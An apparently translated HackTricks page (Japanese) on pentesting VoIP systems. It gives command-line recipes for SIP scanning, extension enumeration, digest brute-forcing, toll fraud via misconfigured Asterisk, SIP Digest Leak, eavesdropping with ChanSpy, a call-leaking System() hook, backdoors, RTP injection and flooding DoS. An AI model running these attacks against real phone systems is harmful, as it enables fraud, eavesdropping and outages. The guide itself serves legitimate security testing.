.. | ||
basic-voip-protocols | ||
README.md |
VoIPのペンテスト
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクション
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
VoIP基本情報
VoIPの動作について学ぶには、次をチェックしてください:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
VoIP列挙
電話番号
Red Teamが取るべき最初のステップの1つは、OSINTツール、Google検索、またはWebページをスクレイピングして企業と連絡を取るための利用可能な電話番号を検索することです。
電話番号を取得したら、オペレーターを特定するためにオンラインサービスを使用できます:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
オペレーターがVoIPサービスを提供しているかどうかを知ることで、企業がVoIPを使用しているかどうかを特定できます...さらに、企業がVoIPサービスを契約していない可能性があり、PSTNカードを使用して自社のVoIP PBXを従来の電話ネットワークに接続しているかもしれません。
音楽の自動応答などのことは、VoIPが使用されていることを示しています。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT情報
VoIPソフトウェアを特定するのに役立つ他のOSINT列挙は、Red Teamにとって有益です。
ネットワーク列挙
nmap
はUDPサービスをスキャンすることができますが、スキャンされるUDPサービスの数が多いため、非常に遅く、この種のサービスにはあまり正確ではないかもしれません。- SIPViciousの**
svmap
** (sudo apt install sipvicious
):指定されたネットワーク内のSIPサービスを特定します。 svmap
はUser-Agentfriendly-scanner
を使用しているため、簡単にブロックできますが、/usr/share/sipvicious/sipvicious
からコードを変更することで対処できます。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
from sippts: SipscanはUDP、TCP、またはTLSを介したSIPサービスの非常に高速なスキャナーです。マルチスレッドを使用し、大規模なネットワーク範囲をスキャンできます。ポート範囲を簡単に指定したり、TCPとUDPの両方をスキャンしたり、別のメソッドを使用したり(デフォルトではOPTIONSを使用)、異なるUser-Agentを指定したりすることができます。
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploitは、ペネトレーションテストや侵入テストに広く使用されるオープンソースのツールです。Metasploitは、脆弱性のスキャン、脆弱性の悪用、およびネットワークの侵入テストに使用されます。
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
追加のネットワーク列挙
PBXは他のネットワークサービスも公開している可能性があります:
- 69/UDP (TFTP): ファームウェアの更新
- 80 (HTTP) / 443 (HTTPS): ウェブからデバイスを管理するため
- 389 (LDAP): ユーザー情報を保存するための代替手段
- 3306 (MySQL): MySQLデータベース
- 5038 (Manager): 他のプラットフォームからAsteriskを使用することを可能にします
- 5222 (XMPP): Jabberを使用したメッセージ
- 5432 (PostgreSQL): PostgreSQLデータベース
- その他...
メソッド列挙
sipenumerate.py
を使用して、PBXで使用可能なメソッドを見つけることができます。sipptsから。
python3 sipenumerate.py -i 10.10.0.10 -r 5080
拡張機能の列挙
PBX(プライベートブランチ交換)システム内の拡張機能は、組織やビジネス内の個々の電話回線、デバイス、またはユーザーに割り当てられた一意の内部識別子を指します。拡張機能により、組織内での通話を効率的にルーティングすることが可能となり、各ユーザーやデバイスに個別の外部電話番号が必要なくなります。
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
は無料のSIP PBX拡張機能ラインスキャナーです。概念的には、一連の拡張機能または指定された拡張機能リストを推測することで、従来のウォーダイヤラーと同様に機能します。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
from sippts: SipextenはSIPサーバー上の拡張機能を特定します。Sipextenは大規模なネットワークおよびポート範囲をチェックできます。
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Metasploitを使用して拡張子/ユーザー名を列挙することもできます:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX は、Inter Asterisk Exchange プロトコルの ユーザー名ブルートフォース列挙ツール です。enumIAX には、2つの異なるモードがあります。順次ユーザー名推測または辞書攻撃。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP 攻撃
パスワードブルートフォース
PBX といくつかの 拡張子/ユーザー名 を発見した場合、Red Team は一般的なパスワードの辞書を使用して認証をブルートフォースすることで、拡張子に REGISTER
メソッドを介して認証しようとします。
{% hint style="danger" %} ユーザー名 が拡張子と同じである場合がありますが、これは PBX システム、その構成、および組織の設定によって異なる場合があります...
ユーザー名が拡張子と異なる場合は、ユーザー名を特定してブルートフォースする必要があります。 {% endhint %}
- SIPVicious の
svcrack
(sudo apt install sipvicious
):SVCrack を使用すると、PBX 上の特定のユーザー名/拡張子のパスワードをクラックできます。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
from sippts: SIP Digest Crackは、SIPプロトコル内のダイジェスト認証をクラックするためのツールです。
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIPスニッフィング
オープンWifiネットワーク内にVoIP機器がある場合、すべての情報をスニッフィングできます。さらに、より閉じたネットワーク(イーサネット経由または保護されたWifi経由で接続されている)では、ARPスプーフィングなどのMitM攻撃を実行して、PBXとゲートウェイ間で情報をスニッフィングすることができます。
ネットワーク情報の中には、機器を管理するためのWeb資格情報、ユーザー拡張機能、ユーザー名、IPアドレス、さらにはハッシュ化されたパスワードや会話を聞くために再生できるRTPパケットなどが含まれています。
この情報を取得するためには、Wireshark、tcpdumpなどのツールを使用できますが、VoIP会話をスニッフィングするために特別に作成されたツールであるucsniffを使用することもできます。
{% hint style="danger" %}
SIP通信でTLSが使用されている場合、SIP通信を平文で表示することはできません。
同様に、SRTPおよびZRTPが使用されている場合、RTPパケットは平文では表示されません。
{% endhint %}
SIP資格情報
SIP REGISTER通信の例を確認して、送信される資格情報がどのようになっているかを理解してください。
sipdump
&sipcrack
, sipcrackの一部(apt-get install sipcrack
): これらのツールは、SIPプロトコル内のダイジェスト認証をpcapから抽出し、それらをブルートフォースすることができます。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
from sippts:- SipTsharkはPCAPファイルからSIPプロトコルのデータを抽出します。
- SipDumpはPCAPファイルからSIP Digest認証を抽出します。
- SIP Digest CrackはSIPプロトコル内のDigest認証をクラックするツールです。
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
DTMFコード
ネットワークトラフィック中には、SIP資格情報だけでなく、ボイスメールにアクセスするために使用されるDTMFコードも見つけることができます。
これらのコードは、INFO SIPメッセージ、オーディオ、またはRTPパケット内に送信することが可能です。コードがRTPパケット内にある場合、会話のその部分を切り取り、ツールmultimoを使用してそれらを抽出することができます:
multimon -a DTMF -t wac pin.wav
無料通話 / Asterisks接続の設定ミス
Asteriskでは、特定のIPアドレスからの接続または任意のIPアドレスからの接続を許可することが可能です:
host=10.10.10.10
host=dynamic
IPアドレスが指定されている場合、ホストは定期的にREGISTERリクエストを送信する必要はありません(通常、REGISTERパケットには有効期限が含まれ、通常は30分であり、別のシナリオでは電話は30分ごとにREGISTERする必要があります)。ただし、VoIPサーバーからの通話を受け入れるための接続を許可するオープンポートを持っている必要があります。
ユーザーを定義するには、次のように定義できます:
type=user
:ユーザーはユーザーとしてのみ通話を受け取ることができます。type=friend
:ピアとして通話を行い、ユーザーとして受け取ることができます(拡張機能と共に使用されます)。type=peer
:ピアとして通話を送受信することができます(SIPトランク)。
また、次のように安全でない変数を使用して信頼を確立することも可能です:
insecure=port
:IPによって検証されたピア接続を許可します。insecure=invite
:INVITEメッセージの認証を必要としません。insecure=port,invite
:両方
{% hint style="warning" %}
type=friend
が使用される場合、ホスト変数の値は使用されませんので、管理者がその値を使用してSIPトランクを誤構成した場合、誰でもそれに接続できる可能性があります。
たとえば、次の構成は脆弱です:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
無料通話 / Asteriskコンテキストの誤構成
Asteriskでは、コンテキストはダイヤルプラン内の関連する拡張機能、アクション、およびルールをグループ化する名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムの中核コンポーネントであり、着信および発信通話の処理とルーティング方法を定義します。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分を分離するために使用されます。
各コンテキストは通常、**extensions.conf
**ファイルに定義されます。コンテキストは角かっこで囲まれ、その中にコンテキスト名が含まれています。例:
csharpCopy code[my_context]
Translation
コンテキスト内では、拡張機能(ダイヤル番号のパターン)を定義し、それらを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話の処理方法を決定します。たとえば:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
この例では、拡張機能「100」を持つ「my_context」という単純なコンテキストが示されています。誰かが100をダイヤルすると、通話が受けられ、ウェルカムメッセージが再生され、その後通話が終了します。
これは別のコンテキストで、他の番号に発信できるようになっています:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
管理者がデフォルトコンテキストを次のように定義した場合:
[default]
include => my_context
include => external
{% hint style="warning" %} サーバーを使用して他の番号に発信できる(サーバーの管理者が通話料を支払います)。 {% endhint %}
{% hint style="danger" %}
さらに、デフォルトでは**sip.conf
ファイルにはallowguest=true
が含まれており、そのため認証なしのどんな**攻撃者でも他の番号に発信できます。
{% endhint %}
- sipptsからの**
sipinvite.py
**:Sipinviteは、認証なしで通話を行うことを許可するPBXサーバーをチェックします。SIPサーバーが誤った構成を持っている場合、外部番号に通話を許可します。また、通話を第二の外部番号に転送することも可能です。
たとえば、Asteriskサーバーのコンテキスト構成が悪い場合、AUTHORIZATIONなしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話を行うことができます。
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
無料通話 / 設定ミスの IVRS
IVRS は Interactive Voice Response System の略で、音声やタッチトーン入力を通じてコンピュータ化されたシステムとやり取りするための電話技術です。 IVRS は情報提供、通話のルーティング、ユーザー入力の収集など、さまざまな機能を提供する 自動通話処理 システムを構築するために使用されます。
VoIP システムの IVRS には通常、以下が含まれます:
- 音声プロンプト:ユーザーを IVR メニューオプションと指示に案内するための事前録音されたオーディオメッセージ。
- DTMF (Dual-Tone Multi-Frequency) シグナリング:電話でキーを押すことで生成されるタッチトーン入力で、IVR メニューをナビゲートし、入力を提供するために使用されます。
- 通話ルーティング:ユーザー入力に基づいて、特定の部署、エージェント、または拡張機能などへ通話を誘導すること。
- ユーザー入力の収集:アカウント番号、ケース ID、またはその他の関連データなど、発信者から情報を収集すること。
- 外部システムとの統合:IVR システムをデータベースや他のソフトウェアシステムに接続して情報のアクセスや更新、アクションの実行、イベントのトリガーを行うこと。
Asterisk VoIP システムでは、extensions.conf
ファイルなどのダイヤルプランと Background()
、Playback()
、Read()
などのさまざまなアプリケーションを使用して IVR を作成できます。これらのアプリケーションは、音声プロンプトの再生、ユーザー入力の収集、通話フローの制御を支援します。
脆弱な構成の例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
前述は、ユーザーに対して、1を押して部署に電話をかけるか、別の部署に2を押してかけるか、もしくは分かっている場合は完全な内線番号を入力するよう求める例です。
脆弱性は、指定された内線番号の長さがチェックされていないため、ユーザーが5秒のタイムアウト内に完全な番号を入力すると、その番号が発信されてしまうという点です。
内線番号インジェクション
次のような内線番号を使用する:
exten => _X.,1,Dial(SIP/${EXTEN})
以下は、${EXTEN}
が呼び出される内線を表しています。内線101が入力された場合、次のようなことが起こります:
exten => 101,1,Dial(SIP/101)
しかし、もし**${EXTEN}
が数字以外を許可する場合(古いAsteriskバージョンのように)、攻撃者は101&SIP123123123
**を入力して電話番号123123123に電話をかけることができます。そして、その結果は次のようになります:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
したがって、101
番と123123123
番に発信すると、最初に着信したものだけが確立されます...しかし、一致していない拡張機能をバイパスする拡張機能を使用すると、攻撃者は望ましい番号にのみ通話を注入することができます。
SIPDigestLeak
SIP Digest Leakは、ハードウェアおよびソフトウェアIP電話機、および電話アダプタ(VoIPからアナログへ)を含む多数のSIP電話機に影響を与える脆弱性です。この脆弱性により、パスワードから計算されるDigest認証応答が漏洩します。その後、オフラインパスワード攻撃が可能となり、チャレンジレスポンスに基づいてほとんどのパスワードを回復できます。
- IP電話機(被害者)がポート5060でリスニングし、電話を受け入れています
- 攻撃者がIP電話機にINVITEを送信します
- 被害者の電話が鳴り、誰かが電話に出て切ります(相手が電話に出ないため)
- 電話が切れると、被害者の電話は攻撃者にBYEを送信します
- 攻撃者は407レスポンスを発行し、認証を要求し、認証チャレンジを発行します
- 被害者の電話は、2番目のBYEで認証チャレンジに応答します
- 攻撃者は、ローカルマシン(または分散ネットワークなど)でチャレンジレスポンスに対する総当たり攻撃を実行し、パスワードを推測できます
- sipptsのsipdigestleak.py:SipDigestLeakはこの脆弱性を悪用します。
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Callは、例えば製品に興味を持っているWebユーザーが電話番号を入力して電話を受けることを可能にします。その後、商用の電話がかけられ、ユーザーが電話に出るとエージェントと接続されるでしょう。
これに対する一般的なAsteriskプロファイルは次のとおりです:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 前のプロファイルでは、パスワードがわかっていればどんなIPアドレスでも接続できるようになっています。
- 前述のように、通話を開始するには、読み取り権限は不要で、書き込みのoriginateだけが必要です。
これらの権限を持っていると、パスワードを知っている任意のIPが接続して、情報を抽出することができます。
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
さらなる情報やアクションが要求される可能性があります。
盗聴
Asteriskでは、ChanSpy
コマンドを使用して、監視する内線(またはすべての内線)を指定して、発生している会話を聞くことが可能です。このコマンドは内線に割り当てる必要があります。
例えば、exten => 333,1,ChanSpy('all',qb)
は、内線333に電話をかけると、すべての内線を監視し、新しい会話が始まるとすぐに(b
)静かなモード(q
)で聞き始めることを示します。会話を聞く代わりに、*
を押すか、内線番号をマークすることで、別の会話に移ることができます。
また、ExtenSpy
を使用して、1つの内線のみを監視することも可能です。
会話を聞く代わりに、ファイルに記録することもできます。次のような内線を使用して記録することが可能です:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
通話は /tmp
に保存されます。
Asterisk が閉じられたときに通話内容を漏洩させるスクリプトを実行させることもできます。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleedは、2017年に公開されたAsteriskベースのVoIPサーバーに影響を与える重大なセキュリティ問題です。この脆弱性により、VoIP会話を運ぶRTP(リアルタイムプロトコル)トラフィックが、インターネット上の誰でもによって傍受およびリダイレクトされる可能性があります。これは、RTPトラフィックがNAT(ネットワークアドレス変換)ファイアウォールを経由する際に認証をバイパスするために発生します。
RTPプロキシは、RTCシステムに影響を与えるNATの制限に対処するために、2つ以上の当事者間でRTPストリームをプロキシングすることを試みます。NATが存在する場合、RTPプロキシソフトウェアは、通信(例:SIP)を介して取得したRTP IPおよびポート情報に依存できないことがよくあります。そのため、多くのRTPプロキシは、そのようなIPおよびポートの組み合わせが自動的に学習されるメカニズムを実装しています。これは、着信RTPトラフィックを検査し、着信RTPトラフィックのソースIPおよびポートを応答すべきものとしてマークすることによって行われることがよくあります。このメカニズムは通常、「学習モード」と呼ばれ、いかなる種類の認証も使用しません。したがって、攻撃者はRTPトラフィックをRTPプロキシに送信し、進行中のRTPストリームの発信者または着信者向けに意図されたプロキシされたRTPトラフィックを受信することができます。これをRTP Bleedと呼び、攻撃者が正規のユーザーに送信されるはずのRTPメディアストリームを受信できるようにします。
RTPプロキシとRTPスタックのもう1つの興味深い動作は、RTP Bleedに脆弱でなくても、任意のソースからのRTPパケットを受け入れ、転送、および/または処理することがあることです。したがって、攻撃者は正規のものの代わりに自分のメディアを注入することができるRTPパケットを送信できます。これをRTPインジェクション攻撃と呼び、既存のRTPストリームに不正なRTPパケットを注入することができます。この脆弱性は、RTPプロキシとエンドポイントの両方で見つかる可能性があります。
従来、AsteriskとFreePBXは、RTPトラフィックの認証をバイパスする**NAT=yes
設定**を使用しており、通話時に音声がないか片方向の音声につながる可能性があります。
詳細については、https://www.rtpbleed.com/を参照してください。
- sipptsからの**
rtpbleed.py
**:RTPストリームを送信してRTP Bleed脆弱性を検出します。
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
from sippts: RTPストリームを送信してRTP Bleed脆弱性を検出します
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
from sippts: RTPストリームを送信するRTP Bleed脆弱性を悪用
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
from sippts: RTP Bleed脆弱性を悪用して、RTPストリーム(オーディオファイルから)を送信します。
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asteriskで何らかの方法で拡張ルールを追加して再読み込みすることができる場合(例:脆弱性のあるWebマネージャーサーバーを侵害することにより)、**System
**コマンドを使用してRCEを取得することが可能です。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
**Shell
コマンドは、必要に応じてシステムコマンドを実行するためにSystem
**の代わりに使用できます。
{% hint style="warning" %}
サーバーが**System
コマンドで特定の文字の使用を禁止している場合(Elastixなど)、ウェブサーバーがシステム内で何らかの方法でファイルを作成することを許可しているかどうかを確認し(Elastixやtrixboxのように)、それを使用してバックドアスクリプトを作成し、そのスクリプトを実行するためにSystem
**を使用します。
{% endhint %}
興味深いローカルファイルと権限
sip.conf
-> SIPユーザーのパスワードが含まれています。- Asteriskサーバーがrootとして実行されている場合、rootを危険にさらす可能性があります。
- mysql rootユーザーはパスワードを持っていないかもしれません。
- これを使用してバックドアとして新しいmysqlユーザーを作成できます。
FreePBX
amportal.conf
-> ウェブパネル管理者(FreePBX)のパスワードが含まれています。FreePBX.conf
-> データベースにアクセスするために使用されるFreePBXユーザーのパスワードが含まれています。- これを使用してバックドアとして新しいmysqlユーザーを作成できます。
Elastix
Elastix.conf
-> mysql rootパスワード、IMAPdパスワード、Web管理者パスワードなど、いくつかのパスワードが平文で含まれています。- いくつかのフォルダは、危険にさらされたAsteriskユーザーに属しています(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、また構成を制御しているため、他のバックドア付きバイナリをAsteriskが実行されるときに読み込ませることができます。
RTPインジェクション
rtpinsertsound
(sudo apt install rtpinsertsound
)や**rtpmixsound
(sudo apt install rtpmixsound
)などのツールを使用して、会話に.wav
**を挿入することが可能です。
または、http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/からスクリプトを使用して、会話をスキャンする(rtpscan.pl
)、会話に.wav
を送信する(rtpsend.pl
)、会話にノイズを挿入する(rtpflood.pl
)ことができます。
DoS
VoIPサーバーでDoSを達成するためのいくつかの方法があります。
- sipptsから**
sipflood.py
:_SipFlood_はターゲットに無制限のメッセージを送信します。 python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder:Asteriskが使用するIAXプロトコルのDoS
- inviteflood:UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するツール。
- rtpflood:いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります(最初にスニッフィング)。
- SIPp:SIPトラフィックを分析および生成することができます。そのため、DoSにも使用できます。
- SIPsak:SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
- Fuzzers:protos-sip、voiper。
- sipptsから**
sipsend.py
:SIPSendを使用してカスタマイズされたSIPメッセージ**を送信し、応答を分析できます。 - sipptsから**
wssend.py
:WsSendを使用してWebSockets経由でカスタマイズされたSIPメッセージ**を送信し、応答を分析できます。
OSの脆弱性
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、すでにインストールされているOSディストリビューションをダウンロードすることです。例:FreePBX、Elastix、Trixbox... これらの問題は、一度動作していると、システム管理者がそれらを再度更新しない可能性があり、時間の経過とともに脆弱性が発見される可能性があります。